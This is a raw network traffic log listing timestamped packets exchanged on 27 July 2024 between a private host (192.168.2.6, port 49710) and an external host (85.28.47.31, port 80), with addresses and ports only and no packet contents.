Jul 27, 2024 03:19:16.719988108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720452070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720501900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720501900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720555067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720561028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720606089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720639944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720650911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720650911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720674038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720707893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720717907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720717907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720741034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720774889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720783949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720783949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720808029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720840931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720846891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720846891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720874071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720885038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720909119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720943928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.720954895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720954895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.720999956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752378941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752434969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752444029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752469063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752516031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752516031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752540112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752590895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752612114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752624989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752670050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752670050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752676010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752711058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752729893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752762079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752795935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752806902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752806902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752829075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752861977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752876043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752876043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752896070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752931118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.752938986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752938986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.752959967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.753002882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.753002882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754666090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754717112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754720926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754766941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754782915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754801989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754833937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754843950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754843950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754884958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754889965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754920006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754928112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754954100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.754981995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.754983902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755017042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755029917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755029917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755050898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755084038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755101919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755101919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755116940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755151033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755162954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755162954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755192041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755212069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755214930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755255938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755255938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755635023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755683899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755727053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755727053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755733967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755772114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755805969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755815983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755815983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755840063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755872011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755893946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755897999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755944967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755978107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.755987883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.755987883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756011009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756033897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756045103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756078005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756088972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756088972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756113052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756145000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756155014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756155014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756180048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.756222963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.756222963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803109884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803144932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803173065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803198099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803215981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803236008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803268909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803272963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803287029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803303957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803337097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803369045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803379059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803379059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803390026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803455114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.803879976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803975105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.803994894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804008007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804018974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804074049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804105043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804125071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804125071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804138899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804172993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804186106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804186106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804239988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804742098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804770947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804812908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804812908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804821014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804855108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804888964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804898024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804898024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804922104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804955006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.804964066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804964066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.804987907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.805031061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.805031061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.805948019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806000948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806032896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806046963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806046963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806108952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806133986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806142092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806174040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806184053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806184053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806209087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806240082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806251049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806251049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806389093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806710958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806759119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806773901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806791067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806823015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806833029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806833982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806855917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806889057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806898117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806898117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806927919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806956053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.806963921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806998014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.806998014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808096886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808144093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808156013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808176994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808211088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808219910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808219910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808243990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808276892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808286905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808286905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808310986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.808345079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.808415890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809325933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809379101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809422970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809422970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809426069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809475899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809508085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809516907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809516907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809556961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809588909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809600115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809600115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809621096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809663057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809663057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809829950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809861898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809895992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809904099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809904099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809928894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809962034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.809974909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809974909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.809995890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.810028076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.810038090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.810038090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.810072899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811296940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811347961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811379910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811391115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811391115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811429024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811460972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811472893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811472893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811511040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811543941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811553955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811553955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811577082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811599016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811608076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811640978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811652899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811652899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811675072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811683893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811709881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811734915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811743021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811755896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811778069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.811810970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.811827898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.854783058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854835033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854846954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.854867935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854882956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.854902983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854923964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.854937077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854950905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.854970932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.854974985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855006933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855012894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855048895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855463982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855514050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855515003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855555058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855566025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855608940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855618000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855653048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855653048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855690956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855695963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855731010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.855741978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.855788946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857254982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857286930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857309103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857323885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857332945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857357025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857372046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857394934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857409000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857440948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857450962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857475042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857481003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857515097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857521057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857548952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857558012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857583046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857589960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857616901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857624054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857651949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857659101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857686043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857693911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857719898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857724905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857760906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857918978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857950926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.857969999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.857990026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.858000994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.858033895 CEST	80	49710	85.28.47.31	192.168.2.6
